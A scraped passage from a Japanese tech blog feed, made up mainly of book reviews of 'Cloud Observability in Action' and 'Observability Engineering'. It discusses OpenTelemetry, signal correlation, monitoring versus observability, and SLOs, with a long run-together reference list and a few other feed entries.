関は、システムの可視性と制御可能性を飛躍的に向上させる、強力な武器になり得ます。本章を通して、シグナル相関の重要性と実践的な手法について理解を深めることができました。OpenTelemetryを中心とするオープンな標準の採用と、コミュニティ全体での知見の共有が、相関技術の発展には欠かせません。課題を一つ一つ克服しながら、より高度な相関の実現を目指していきたいと思います。皆さんの組織では、シグナル相関にどのように取り組まれていますか?OpenTelemetryの活用状況や、相関分析から得られた知見など、ぜひ共有いただければと思います。シグナル相関は、オブザーバビリティ分野における次のブレークスルーになるかもしれません。 複数のシグナルを行き来しながら、システムの本質的な理解に迫っていく。そのためのデータ基盤とスキルを獲得することが、私たちに求められているのではないでしょうか。冒頭でも述べたように、単一のシグナルだけでは、もはやシステムの全容を把握することはできません。ログ、メトリクス、トレース、そしてプロファイル。これらの多様なシグナルを縦横無尽に相関させる力こそが、複雑さに立ち向かうための何よりの武器となるはずです。本書のラストを飾るに相応しい、示唆に富んだ一章でした。ここで得られた学びを胸に、オブザーバビリティのさらなる高みを目指して精進したいと思います。シグナル相関の可能性を追求し、より俊敏で、よりレジリエントなシステムを作り上げていく。それが、私たちソフトウェアエンジニアとSREに託されたミッションなのだと、改めて感じた次第です。さいごに本書「Cloud Observability in Action」を通じて、クラウドネイティブ時代におけるオブザーバビリティの重要性と、その実現に向けた具体的な方法論を学ぶことができ視座を得られました。著者が一貫して訴えかけているのは、オブザーバビリティがツールの導入だけで達成できるものではない、ということです。ログ、メトリクス、トレース、プロファイルなど、様々なシグナルを適切に収集・分析するための技術的な基盤は不可欠ですが、それ以上に重要なのは、オブザーバビリティの文化を組織全体に根付かせ、データドリブンな意思決定を日常的に実践していくことだと説いています。また、オープンスタンダードとオープンソースソフトウェアの活用が強く推奨されています。ベンダーロックインを避け、持続可能なイノベーションを実現するために、OpenTelemetryに代表されるようなオープンな標準や、コミュニティ主導のオープンソースプロジェクトが果たす役割の大きさを再認識させられました。本書の内容を実践するのは容易ではありませんが、その努力は決して無駄にはならないはずです。オブザーバビリティの向上は、システムの信頼性と俊敏性を高めるだけでなく、ビジネスの成功とも直結するからです。本書で得られた知見を咀嚼し、行動に移していくこと。それが、著者のメッセージを真に理解し、オブザーバビリティの価値を自らの組織にもたらすための鍵となるでしょう。クラウドの時代において、オブザーバビリティは「あったら良いもの」ではなく「なくてはならないもの」になりつつあります。本書はその重要性を説き、実践への道筋を示してくれる、頼もしい道しるべだと言えます。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。参考資料Observability WhitepaperPerformance ReportReturn on Investment Driven ObservabilityIntro to exemplars, which enable Grafana Tempo’s distributed tracing at massive scaleMTBF, MTTR, MTTA, and MTTFDocker daemon configuration overviewContainer Runtime Interface (CRI)github | CrunchyData/pgmonitorLogging in Action - With Fluentd, Kubernetes and moreContextual Logging in Kubernetes 1.24System LogsFluentdFluent BitElastic BeatsLogstashOpenSearch Data Preppersyslog-ngrsyslogGraylogCriblPrometheusCollectdGrafana AgentGraphiteNagiosStatsDTelegrafOpenTelemetryOpenTelemetry Java Auto-InstrumentationOpenTelemetry JavaScriptOpenTelemetry Node SDKOpenTelemetry PythonOpenTelemetry .NET Auto-InstrumentationOpenTelemetry Go InstrumentationCloud Native Observability with OpenTelemetryPractical OpenTelemetryLearning OpenTelemetryAmazon CloudWatch AgentAWS Embedded Metric Format (EMF)AWS CloudWatch Agent OpenTelemetry SupportAWS Distro for OpenTelemetryAzure Monitor Agent (AMA)Azure OpenTelemetry SupportGoogle Cloud Ops AgentVector by DatadogLogstash, Fluentd, Fluent Bit, or Vector ComparisonVector, Fluent Bit, Fluentd Performance BenchmarkingOpenTelemetry Collector Performance | BenchmarksAWS Distro for OpenTelemetry Collector PerformanceOpenTelemetry Collector DashboardOpenSearch Install with DockerKubernetes Control Plane LogsKubernetes Worker Node LogsAWS CloudTrailAmazon CloudWatch LogsAWS Embedded Metric Format (EMF)Azure Monitor LogsGoogle Cloud LoggingElasticsearchOpenSearchApache LuceneElasticsearch in Action, Second EditionGrafana LokiZincObserveSplunkInstanaSolarWindsLogz.ioAmazon CloudWatch MetricsAmazon Managed Service for PrometheusPrometheus Remote WriteAmazon TimestreamAzure Monitor MetricsGoogle Cloud MonitoringGoogle Cloud Managed Service for PrometheusCNCF CortexThanosClymeneGrafana MimirIcingaInfluxDBLinDBM3DBM3DB at FOSDEM 2020Nagios CoreNetdataNightingaleOpenTSDBPromscaleTimescaleDBQuestDBZabbixChronosphereVictoriaMetricsPrometheus Compliance GuideAWS X-RayDistributed Tracing in AzureGoogle Cloud TraceJaegerZipkinGrafana TempoGoogle Cloud Trace OverviewApache CassandraScyllaDBApache DruidApache Druid: overview, running in Kubernetes and monitoring with PrometheusApache PinotReal-time analytics on network flow data with Apache PinotClickHouseAltinity Operator for ClickHouseFrostDBSnowflakeComparison of the Open Source OLAP Systems for Big DataOpenTelemetry Columnar EncodingDesigning Data-Intensive ApplicationsFundamentals of Data ObservabilityOpenTelemetry Fluent Forward ReceiverOpenTelemetry ClickHouse ExporterClickHouse Operations DocsClickHouse Networking ArticleClickCatPrestoDBAmazon RedshiftGoogle BigQueryCNCF Observability & Analysis LandscapeOpenTelemetry Vendor SupportApache KafkaOpenTelemetry Kafka ExporterElastic Common Schema (ECS)LogQLCloudWatch Logs Insights Query SyntaxSyslog Protocol (RFC 5424)Common Log FormatNGINX LoggingGraylog Extended Log Format (GELF)Windows Event Log SchemaCommon Event Format (CEF)Prometheus Query Language (PromQL)Prometheus Exposition FormatOpenMetricsInfluxData FluxGoogle pprofOpenTelemetry Protocol (OTLP)High-Cardinality TSDB BenchmarksGrafanaGrafana Data Sources DocumentationGrafana PluginsGrafana Dashboards DocumentationGrafana Alerting DocumentationAWS Managed GrafanaGrafana CloudKibanaOpenSearch Dashboards DocumentationCNCF JaegerApache SkyWalkingSigNozUptraceDatadogHoneycombNew RelicSplunkDatadog SyntheticsElastic SyntheticsNew Relic SyntheticsAmazon CloudWatch SyntheticsWhen to Alert on What?Anomaly Detection Reddit ThreadShoreline AIOpsAmazon SNSAlertmanager Configuration ExamplePrometheus Alerting RulesAwesome Prometheus AlertsAlertmanager Notification TemplatesCortex | Configuring Notification using Cortex AlertmanagerThanos | Alerting RulesPrometheus: Up & Running, 2nd EditionImproved Alerting With Prometheus and AlertmanagerLife of an Alert TalkGrafana Unified AlertingGrafana Contact PointsGrafana Contact Point TypesAmazon CloudWatch AlarmsAzure Monitor AlertsGoogle Cloud AlertingAWS CloudTrailReal User Monitoring OTEPGoogle AnalyticsAmazon CloudWatch RUMLeadDev An introduction to Real User Monitoring (RUM)Single-Page ApplicationsObservable Frontends OpenTelemetryOpenTelemetry Real User MonitoringAWS Cost and Usage ReportsOpenCostServerless: who’s on call now?All Things Clock, Time and Order in Distributed Systems: Physical Time in Depthhttps://www.w3.org/TR/trace-context/Tracesho11y (pronounced: howl-y)Cloud-Native Observability with OpenTelemetryhttps://httpstatuscodes.org/429/https://opentelemetry.io/docs/collector/deployment/Span Metrics Connectorhttps://keyval.dev/distributed-tracing-2025/Using latency histogramsService MapbubbleupShift-Left: A Developer\'s Pipe(line) Dream?A Modern Shift-Left Security ApproachGNU gprofDTrace ToolspprofProtocol BuffersIce and Fire: How to read icicle and flame graphshttps://man7.org/linux/man-pages/man2/bpf.2.htmlBPF Performance Tools (book)What Is eBPF?https://www.parca.dev/https://www.parca.dev/docs/parca-agent-language-supporthttps://demo.parca.dev/https://px.dev/https://pyroscope.io/https://demo.pyroscope.io/Continuous profiling now in public preview in Grafana CloudProposal: Adding profiling as a support event typeWhat is Amazon CodeGuru Profiler?Profile production applications in Azure with Application Insights ProfilerProfiling concepts ; Google CloudProfiling and optimization - Dynatrace DocsReal-time profiling for Java using JFR metricsProfiling and optimization - Dynatrace DocsFantastic Symbols and Where to Find Them - Part 1BPF binaries: BTF, CO-RE, and the future of BPF perf toolsInstalling TracetestTrace-based testing cloud-native apps with AWS X-Ray and TracetestMonitoring and Testing Cloud Native APIs with GrafanaProfiles, the Missing Pillar: Continuous Profiling in Practice - InfoQ- BPF Portability and CO-REFrostDBGorilla: A Fast, Scalable, In-Memory Time Series DatabaseTime-series Compression Algorithms ExplainedQuerying ParcaFlameQLLaunchDarkly: Feature Management PlatformAmazon CloudWatch Evidently - Implement Safer Feature Releases and A/B ExperimentsFallacies of Distributed SystemseBay/flow-telemetry: Open source host/network flow collector and exporterDigma: Developer Observability and Continuous FeedbackSprkl: Developer Tool for Continuous Observabilitysprkl-dev/use-sprkl: React hook for Sprkl integrationTracetest: Integration testing platform for cloud-native systemsgoogle/pprof/profile.protoInstalling the protocol compilerBuf: A new way of working with Protocol BuffersProtoman: A GUI for Protobuf filespostmanlabs/postman-app-support: How to encode protobuf in Postman?Flame GraphsDatadog Continuous ProfilerProfilerpedia - Profilers by LanguageDataDog/go-profiler-notes/guideRookout: Debug and Understand Live CodeAutometrics: Observability made simple for developersNew Relic Thread ProfilerProdfiler: Continuous Profiling for Production ApplicationsGranulate Continuous ProfilingBooks For Site Reliability EngineeringThe RED Method: A New Approach to Monitoring Microservices - The New StackGroupGitHub - pyrra-dev/pyrra: Making SLOs with Prometheus manageable, accessible, and easy to use for everyone!Welcome to SLOcademyPyrraSLO-Based Observability For All Kubernetes Cluster Components - Matthias Loibl & Nadine Vehling - YouTubeSloth - SlothCoreDNS availability - SlothNobl9 Reliability Software and Tools to Manage SLOs and MonitoringConcepts in service monitoring \xa0|\xa0 Google Cloud Observabilityサービスレベル目標(SLO)SLOs: Service Level Objectives | HoneycombService-level objectives - Dynatrace DocsGet started with New Relic service levelsSLA vs. SLI vs. SLO: Understanding Service Levels | SplunkOpenSLOcommunity/sig-scalability/slos/slos.md at master \xb7 kubernetes/community \xb7 GitHubThe first Service Level Objective Conference for Site Reliability Engineers Correlating Signals Efficiently in Modern ObservabilitySemantic Conventions | OpenTelemetryResource Semantic Conventions | OpenTelemetryResource Semantic Conventions | OpenTelemetryResource Semantic Conventions | OpenTelemetryTrace Semantic Conventions | OpenTelemetrygRPCMetrics Semantic Conventions | OpenTelemetryGeneral Logs Attributes | OpenTelemetryResource Semantic Conventions | OpenTelemetryMetrics Semantic Conventions | OpenTelemetryRFC 7231: Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentTraces | OpenTelemetryApache KafkaEvent Listener - Amazon EventBridge - AWSAWS X-RayIntroduction to exemplarsBuild an observability solution using managed AWS services and the OpenTelemetry standard | AWS Cloud Operations & Migrations BlogOne Observability WorkshopOperationCorrelationTelemetryInitializer Class (Microsoft.ApplicationInsights.Extensibility) - Azure for .NET Developers | Microsoft LearnCorrelate log entries \xa0|\xa0 Cloud Logging \xa0|\xa0 Google CloudCustom Correlation for Java ApplicationsConfigure Custom Correlation for .NET ApplicationsMetric CorrelationsCorrelate Request Logs With Traces Automatically | Datadog White modal up arrow Icon/worldCorrelating distributed traces of large scale systems | Dynatrace EngineeringAPM Alternative & Platform Comparison | HoneycombCloud ObservabilityCorrelate Logs and TracesConfigure correlation logic with decisionscorrelate - Splunk DocumentationCloud scale correlation and investigation with Cloud SIEM | Sumo LogicBrightTalkData protection - European CommissionTAG OBS Query Standardization WG Charter - Google ドキュメント","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","isoDate":"2024-05-10T03:10:47.000Z","dateMiliSeconds":1715310647000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Dev ContainersとTestcontainers","contentSnippet":"TechFeed Experts Night#28 〜 コンテナ技術最前線 〜で登壇したセッションの資料です。\\rhttps://techfeed.io/events/techfeed-experts-night-28","link":"https://speakerdeck.com/bells17/devcontainerstotestcontainers","isoDate":"2024-05-08T04:00:00.000Z","dateMiliSeconds":1715140800000,"authorName":"bells17","authorId":"bells17"},{"title":"OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた","contentSnippet":"はじめに はじめまして、スリーシェイクインターン生の有馬祐二と関根弘晃です。私たちは2024年3月18日~3月29日に開催された短期インターンシップに参加しました。私たちのグループではインターンの期間でテレメトリデータの […]The post OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/opentelemetry-instrumentation/","isoDate":"2024-05-07T01:32:46.000Z","dateMiliSeconds":1715045566000,"authorName":"Sreake","authorId":"Sreake"},{"title":"もう一度読むObservability Engineering","contentSnippet":"はじめに本書『Observability Engineering』は、複雑化の一途をたどる現代のソフトウェアシステムに立ち向かうための、強力な武器となる一冊であり本稿はその読書感想文です。Observability Engineering を今から知りたい方はもちろん、Observability Engineering の基礎を改めて学びたい方もぜひお読みください。この記事もかなりの長さになるので普通に書籍を読んだほうがいいかもですlearning.oreilly.com「Observability:可観測性」という言葉は、近年ソフトウェアエンジニアリングの世界で大きな注目を集めています。しかし、その概念の本質を理解し、実践に移すことは容易ではありません。本書は、そのオブザーバビリティについて、その基本的な考え方から、具体的な実装方法、そして組織への適用まで、幅広くかつ深く解説しています。著者らは、Honeycombというオブザーバビリティプラットフォームの開発に携わった経験から、その知見を余すところなく共有しています。Observability Engineering: Achieving Production Excellence (English Edition)作者:Majors, Charity,Fong-Jones, Liz,Miranda, GeorgeO\'Reilly MediaAmazon私自身、2022年に本書を読んだ際には、その内容を理解したつもりになっていました。しかし、色んな経験や話を聞いた今になって再読してみると、当時の理解は表面的なものに過ぎなかったことに気づかされます。人間や組織の話もめちゃくちゃにぶつかったのでその内容がドンピシャでもあった。自分が何を大事にしているのかを見失わないためには、新しい書籍や新しい資料を読むよりも、一度立ち止まって原書を振り返るのも良いかもしれません。再読は、わからなさという困難を洗練させ、既知と未知のネットワークを創造的に発展させる知的技術であり、自分自身と向き合い、本の内容を理解するための行為なのです。再読だけが創造的な読書術である作者:永田希筑摩書房Amazon現在、様々なシステムではマイクロサービスアーキテクチャを採用し、その規模と複雑さを増す一方です。その中で、システムの動作を把握し、問題の原因を特定することがいかに難しいかを日々実感しているかと思います。本書で説かれているオブザーバビリティの考え方は、まさにその難題に対する答えとも言えるものでした。本書を通じて、オブザーバビリティとは単なるツールの問題ではなく、システムと向き合うための思想そのものだと理解できました。そして、その理解は私たちのチームの実装にも反映され、システムの可視性と理解度は格段に向上しています。また、本書はオブザーバビリティがもたらす組織文化の変革についても示唆に富んでいます。部署間のサイロを打ち破り、エンジニア全員がシステムの全体像を共有する。そのような文化があってこそ、真のオブザーバビリティが実現できるのだと納得させられました。本書は、現代のソフトウェア開発に携わる全てのエンジニアにとって、必読の一冊だと言えます。システムの複雑さに悩まされている方、モニタリングの限界を感じている方、チームのコミュニケーションを改善したい方。本書はそのような様々な課題を抱えるエンジニアに、明確な指針を与えてくれるはずです。また、翻訳版もあります。ありがたいので両方読みましょう。オブザーバビリティ・エンジニアリング作者:Charity Majors,Liz Fong-Jones,George Mirandaオーム社Amazonオブザーバビリティについて何も分からない場合には、まずは、本ブログを読む前にkatzchangさんの発表をご覧になることをお勧めします。この発表では、オブザーバビリティの概念や重要性、実践的な手法などが丁寧に解説されています。発表内容を理解することで、オブザーバビリティに関する基礎知識を身につけることができると思います。www.youtube.comタイトルは株式会社Topotalの高村さんと菱田さんが行っている。もう一度読むSREを参考にさせていただきました。っていうタイトルを使わせてもらおうと連絡したところ元ネタを教えていただいた。もう一つ好きになった。新もういちど読む山川日本史山川出版社Amazon『Observability Engineering』の内容紹介本書は、オブザーバビリティの概念から実践までを網羅的に解説しており、現代のソフトウェア開発・運用に携わるエンジニアや管理職にとって必読の一冊と言えるでしょう。システムの安定稼働とパフォーマンス向上を目指す上で、オブザーバビリティは欠かせない要素であり、本書はその導入と実践に向けた最初の一歩を提供してくれます。Part Iでは、オブザーバビリティの定義と、なぜ現代のシステムにおいてオブザーバビリティが重要であるかを解説しています。オブザーバビリティとモニタリングの違いについても言及し、システムの複雑さや規模が増大する中で、オブザーバビリティという新しいアプローチの必要性を訴えています。Part IIは、オブザーバビリティの技術的な側面に焦点を当てています。構造化イベントの重要性や、分散トレーシングの役割、OpenTelemetryを用いた計装方法などが解説されています。また、オブザーバビリティとモニタリングの使い分けについても言及しています。Part IIIでは、チームや組織にオブザーバビリティを導入するための方法論が紹介されています。具体的には、オブザーバビリティ駆動開発、SLO(サービスレベル目標)との連携、ソフトウェアサプライチェーンへのオブザーバビリティの適用などが取り上げられています。Part IVは、大規模システムにおけるオブザーバビリティの実践について述べています。オブザーバビリティツールの選定基準や、データストアの設計、サンプリング戦略、テレメトリーパイプラインの構築などが解説されています。Part Vでは、組織全体でオブザーバビリティ文化を醸成するための方法が紹介されています。オブザーバビリティ投資の対効果や、ステークホルダーとの連携、オブザーバビリティ成熟度モデルなどが説明されています。本書を再読することで、オブザーバビリティに関する知識が深まり、既知の部分と未知の部分がつながって新しい理解が生まれました。この創発的な経験は、今後のオブザーバビリティの実践に役立つことでしょう。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazon書籍のRepository以下のリポジトリには関連書籍のサンプルコードが収録されています。Go言語が苦も無く読める場合には学びになるのでここをまず見るのもありだと思う。resources.oreilly.com目次はじめに『Observability Engineering』の内容紹介書籍のRepository目次Part I. The Path to ObservabilityChapter 1. What Is Observability?オブザーバビリティの概念とその重要性オブザーバビリティとモニタリングの違いオブザーバビリティの必要性とその将来Chapter 2. How Debugging Practices Differ Between Observability and Monitoringモニタリングを用いたデバッグの限界オブザーバビリティがもたらすデバッグの改善オブザーバビリティの重要性Chapter 3. Lessons from Scaling Without ObservabilityParseにおけるスケーリングの課題モダンシステムへの進化モダンな実践へのシフトParseにおける実践のシフト様々な経験を経たオブザーバビリティの重要性Chapter 4. How Observability Relates to DevOps, SRE, and Cloud Nativeクラウドネイティブ、DevOps、SREの概要オブザーバビリティ:昔と今のデバッグオブザーバビリティがDevOpsとSREの実践を強化する再三だがオブザーバビリティの重要性Part II. Fundamentals of ObservabilityChapter 5. Structured Events Are the Building Blocks of Observabilityオブザーバビリティと構造化イベントメトリクスの限界非構造化ログの限界デバッグに役立つイベントのプロパティオブザーバビリティの基盤としての構造化イベントChapter 6. Stitching Events into Traces分散トレーシングの重要性トレーシングのコンポーネントトレースの手動インストルメンテーショントレースへのイベントの組み込みトレーシングの重要性とオープンソースフレームワークの活用Chapter 7. Instrumentation with OpenTelemetryOpenTelemetryの概要と重要性OpenTelemetryの主要コンポーネントOpenTelemetryを使った計装の例テレメトリデータの可視化OpenTelemetryの重要性と今後の展望Chapter 8. Analyzing Events to Achieve Observability既知の条件からのデバッグ第一原理に基づくデバッグコア分析ループの活用コア分析ループのブルートフォース部分の自動化AIOpsの誤ったアレオブザーバビリティ実現のためのイベント分析Chapter 9. How Observability and Monitoring Come Togetherモニタリングの適用範囲オブザーバビリティの適用範囲システムとソフトウェアの違い組織のニーズの評価例外として無視できないインフラストラクチャの監視実際の適用例組織の責任に基づくオブザーバビリティとモニタリングのバランスPart III. Observability for TeamsChapter 10. Applying Observability Practices in Your Teamコミュニティグループへの参加最も大きな痛みのポイントから始める既存の取り組みを活用する機会を探る最後の難関に備えるオブザーバビリティ実践の導入ヒントChapter 11. Observability-Driven Developmentテスト駆動開発とその限界開発サイクルにおけるオブザーバビリティマイクロサービス時代のデバッグインストルメンテーションがオブザーバビリティを促進する仕組みオブザーバビリティの左シフトオブザーバビリティを用いたソフトウェア開発の高速化オブザーバビリティ駆動開発の重要性Chapter 12. Using Service-Level Objectives for Reliability従来のモニタリングアプローチがもたらすアラート疲労ユーザーエクスペリエンスを指標とするサービスレベル目標とは何か?SLOベースのアラートへの文化の変革:ケーススタディSLOとオブザーバビリティによる信頼性の向上Chapter 13. Acting on and Debugging SLO-Based Alertsエラーバジェットが空になる前にアラートする時間をスライディングウィンドウとして捉える予測的バーンアラートを作成するための予測SLOバーンアラートへの対応SLOのためのオブザーバビリティデータと時系列データSLOとオブザーバビリティデータの組み合わせChapter 14. Observability and the Software Supply Chainオブザーバビリティがソフトウェアサプライチェーンに不可欠な理由共有ライブラリとディメンションサプライチェーンの運用化:ケーススタディコンテキストの理解アクショナブルなアラートの組み込み何が変更されたかの理解単なるツールではなく、文化でもあるPart IV. Observability at ScaleChapter 15. Build Versus Buy and Return on InvestmentオブザーバビリティのROI分析自社構築のメリットとリスク購入のメリットとリスク二者択一ではないタダより高いものはないChapter 16. Efficient Data Storageオブザーバビリティのための機能要件時系列データベースの限界列指向ストレージクエリワークロードスケーラビリティと耐久性オブザーバビリティデータ管理の新しいアプローチChapter 17. Cheap and Accurate Enough: Samplingサンプリングによるデータ収集の最適化サンプリング戦略の違いトレースイベントのサンプリングコードによるサンプリング戦略の実装大切なのは状況に応じた賢明なサンプリングChapter 18. Telemetry Management with Pipelinesテレメトリパイプラインの利点テレメトリパイプラインのアナトミーSlackでのテレメトリ管理の事例テレメトリパイプラインの重要性と選択Part V. Spreading Observability CultureChapter 19. The Business Case for Observabilityオブザーバビリティ導入へのリアクティブなアプローチオブザーバビリティのROIオブザーバビリティ導入へのプロアクティブなアプローチオブザーバビリティの実践適切なツールの選択十分なオブザーバビリティの判断オブザーバビリティ文化を組織全体に広めるためにChapter 20. Observability’s Stakeholders and Alliesエンジニアリング以外のオブザーバビリティニーズの認識実践におけるオブザーバビリティの同盟者の獲得カスタマーサポートチームカスタマーサクセスチームとプロダクトチーム営業チームとエグゼクティブチームオブザーバビリティツールとBIツールの使い分けオブザーバビリティの採用を組織全体に広げるためにChapter 21. An Observability Maturity Model成熟度モデルについての注意点オブザーバビリティが成熟度モデルを必要とする理由OMMが参照する能力組織のためのOMMの活用オブザーバビリティ成熟度モデルが示す道筋Chapter 22. Where to Go from Hereオブザーバビリティの定義の進化本書の構成の変遷オブザーバビリティ採用の社会技術的課題追加のリソースオブザーバビリティの未来予測オブザーバビリティ実践の継続的な進化さいごに参考資料Part I. The Path to Observability本書の第一部では本書の残りの部分で参照される概念を定義します。オブザーバビリティとは何か、オブザーバブルなシステムを特定する方法、およびオブザーバビリティベースのデバッグ技術が、モニタリングベースのデバッグ技術よりもモダンなソフトウェアシステムの管理に適している理由を言及してくれています。オブザーバビリティに関する別のオススメの書籍として、『Distributed Systems Observability』1を紹介しておきます。この書籍では、分散システムにおけるオブザーバビリティの重要性と、その実現方法について詳細に解説されています。learning.oreilly.comChapter 1. What Is Observability?オブザーバビリティの概念とその重要性「Chapter 1. What Is Observability?」は、オブザーバビリティの概念とその適用方法について非常に詳細かつ体系的に解説した章です。本書は、オブザーバビリティの数学的起源から始まり、ソフトウェア工学への適用、そしてモダンなシステムにおける必要性まで、丁寧に説明しています。本書によると、ソフトウェアシステムの文脈では、オブザーバビリティは以下の要件を満たすことを意味します。アプリケーションの内部動作を理解できるアプリケーションが取りうる任意の状態を理解できる外部ツールを用いて内部動作と状態を理解できる新しいコードをデプロイせずに内部状態を理解できるつまり、オブザーバビリティとは、システムの内部動作と状態を外部から観測し、理解できることを指します。 これにより、エンジニアはシステムの動作を深く理解し、問題の根本原因を特定することができるのです。この章で特に印象的だったのは、本書が従来のモニタリングアプローチとオブザーバビリティの違いを明確に示したことです。モニタリングは長年にわたってシステムを理解するための主要な手段でしたが、本書は、モニタリングには本質的な限界があると指摘しています。モニタリングは、予測可能な障害モードを検出するのには役立ちますが、予測不可能な障害モードに対応するのが難しいのです。 これは、モニタリングが事前に定義されたメトリクスとしきい値に依存しているためです。エンジニアは、想定される障害モードを予測し、それに応じてダッシュボードを設定する必要があります。しかし、モダンなシステムが複雑で動的であるため、すべての障害モードを事前に予測することは不可能です。これに対して、オブザーバビリティは、システムの内部状態を理解するための新しいアプローチを提供します。オブザーバビリティツールは、高カーディナリティ(一意性)と高次元のデータを収集し、問題の根本原因を特定するための柔軟なクエリを可能にします。 これにより、エンジニアは予測不可能な障害モードを見つけ出し、迅速に対応することができるのです。本書は、オブザーバビリティの重要な概念として「探索可能性(explorability)」を紹介しています。これは、システムに対して任意の質問をし、その内部状態を検査できる程度を表します。つまり、事前に予測することなく、システムが取りうる任意の状態を反復的に調査し、理解できるということです。 この概念は、モニタリングとは根本的に異なります。モニタリングでは、事前に定義されたメトリクスとしきい値に基づいてシステムを監視しますが、オブザーバビリティでは、データを柔軟に探索し、新しい洞察を得ることができるのです。2023年も SRE再考と叫びなさい‼️ より引用また、本書は、カーディナリティと次元の役割について詳しく説明しています。カーディナリティは、データセット内の一意の値を表し、次元はそのデータ内のキーの数を表します。オブザーバビリティツールは、高カーディナリティと高次元のデータを処理するように設計されており、これによりエンジニアは問題のあらゆる側面を調査することができるのです。 一方、モニタリングツールは、低カーディナリティのデータを処理するように設計されており、データの探索力に限界があります。オブザーバビリティとモニタリングの違いさらに、本書は、オブザーバビリティとモニタリングの目的の違いについても言及しています。モニタリングの主な目的は、システムの稼働時間を最大化し、障害を防ぐことです。一方、オブザーバビリティの目的は、システムの動作を深く理解し、パフォーマンスを最適化することです。オブザーバビリティは、障害を防ぐだけでなく、システムの継続的な改善を可能にするのです。本書は、オブザーバビリティがモダンなシステム、特に疎結合で動的かつ推論が難しい分散システムにとって不可欠であると強調しています。これらのシステムでは、予測不可能な障害モードが頻繁に発生するため、従来のモニタリングアプローチでは対応が難しいのです。オブザーバビリティは、これらの課題を克服し、システムの信頼性と性能を向上させるための強力な手段なのです。オブザーバビリティの必要性とその将来要約すると、「Chapter 1. What Is Observability?」は、オブザーバビリティとモニタリングの違いを明確に示し、オブザーバビリティの重要性を説得力のある形で伝えています。 本書は、モニタリングの限界を指摘し、オブザーバビリティがそれを克服するための鍵であることを論じています。また、探索可能性、カーディナリティ、次元といった重要な概念を導入し、オブザーバビリティを実現するための具体的な要件を示しています。この章は、モダンなシステムを管理するすべてのソフトウェアエンジニアにとって必読の内容です。 オブザーバビリティは、システムの信頼性と性能を向上させるための不可欠なツールであり、エンジニアはこの概念を深く理解する必要があります。また、この章は、オブザーバビリティとモニタリングの違いを明確に示しており、エンジニアがシステム管理のアプローチを選択する際の指針となるでしょう。Chapter 2. How Debugging Practices Differ Between Observability and Monitoring「Chapter 2. How Debugging Practices Differ Between Observability and Monitoring」は、モニタリングとオブザーバビリティを用いたデバッグ手法の違いについて、非常に詳細かつ具体的に解説した章です。本書は、従来のモニタリングに基づくデバッグ手法の限界を多角的に分析し、オブザーバビリティがそれらの限界をどのように克服するのかを、説得力のある事例を交えて明確に示しています。モニタリングを用いたデバッグの限界本書は、モニタリングを用いたデバッグ手法の特徴と限界について、詳細な説明を提供しています。モニタリングは、システムの状態を事前に定義された閾値と比較することで、異常を検知するための手法です。エンジニアは、メトリクスとダッシュボードを使って、システムのパフォーマンスを監視し、問題が発生したときに通知を受け取ります。この手法は、既知の障害モードを検出するのには非常に有効です。 エンジニアは、過去の経験に基づいて、どのようなメトリクスが問題を示唆するのかを理解しており、それらのメトリクスに基づいてアラートを設定することができます。しかし、本書は、この手法には重大な限界があると指摘しています。まず、モニタリングは、予測不可能な障害モードに対応するのが難しいという点です。モニタリングでは、事前に定義された閾値に基づいてアラートが発生するため、閾値が設定されていない問題を見落とす可能性があります。また、閾値を超えても、必ずしも問題があるとは限りません。誤検知が多発すると、アラート疲れを引き起こし、重大な問題を見落とすリスクがあるのです。次に、モニタリングは、問題の根本原因を特定するのが難しいという点です。モニタリングツールは、メトリクスを収集し、集約することで、システムの全体的なパフォーマンスを可視化します。しかし、集約されたメトリクスでは、問題の根本原因を特定するのに十分な情報が得られないことがあります。エンジニアは、ダッシュボードを見ながら、自分の経験と直感に頼って、問題の原因を推測しなければなりません。さらに、モニタリングツールは、データの探索性に乏しいという点も問題です。多くのモニタリングツールでは、ダッシュボードが事前に定義された条件に基づいて構築されるため、エンジニアは、ダッシュボードに表示されている情報だけを頼りに問題を調査しなければなりません。新しい問題が発生した場合、ダッシュボードを修正するまで、その問題を発見することは困難なのです。本書は、これらの限界により、モニタリングに基づくデバッグ手法は本質的に受動的であると述べています。エンジニアは、既知の問題を検出することはできますが、新しい問題を発見し、その根本原因を特定することは困難です。このような受動的なアプローチでは、問題が発生してから対応するのではなく、問題を予防することは難しいのです。オブザーバビリティがもたらすデバッグの改善本書は、オブザーバビリティがデバッグ手法に革新をもたらすと主張しています。オブザーバビリティは、システムの内部状態を外部から観測し、理解するための仕組みです。オブザーバビリティツールは、高カーディナリティ(一意性)と高次元のデータを収集し、柔軟なクエリを可能にすることで、エンジニアがシステムの動作を詳細に理解できるようにします。オブザーバビリティの最大の強みは、データの探索性にあります。 オブザーバビリティツールは、収集したデータに対して、自由にクエリを実行し、絞り込みを行うことができます。これにより、エンジニアは、システムの動作を多角的に分析し、問題の根本原因を特定することができるのです。本書は、オブザーバビリティがもたらす具体的な改善点として、以下の3つを挙げています。制度的知識への依存の減少:モニタリングに基づくデバッグ手法では、システムに関する深い知識と経験が求められます。そのため、ベテランのエンジニアに依存することが多く、ナレッジの共有が難しいという問題がありました。オブザーバビリティツールを使えば、経験の浅いエンジニアでも、システムを自由に探索し、問題を診断することができます。 これにより、チーム全体のデバッグ能力が向上し、ナレッジの共有が促進されるのです。隠れた問題の発見:モニタリングでは、事前に定義された閾値に基づいてアラートが発生するため、閾値が設定されていない問題を見落とす可能性があります。オブザーバビリティは、予測不可能な障害モードを発見し、その根本原因を特定するための強力な手段となります。 高カーディナリティと高次元のデータを収集することで、システムの動作を詳細に分析できるため、これまで見落とされていた問題を発見できる可能性が高まるのです。問題診断に対する自信の向上:モニタリングツールでは、複数のデータソースを行き来しながら、問題を診断しなければなりません。このため、エンジニアは、自分の経験と直感に頼らざるを得ず、問題の診断に自信を持てないことがあります。オブザーバビリティツールは、複数のデータソースを統合し、一貫したコンテキストを提供します。 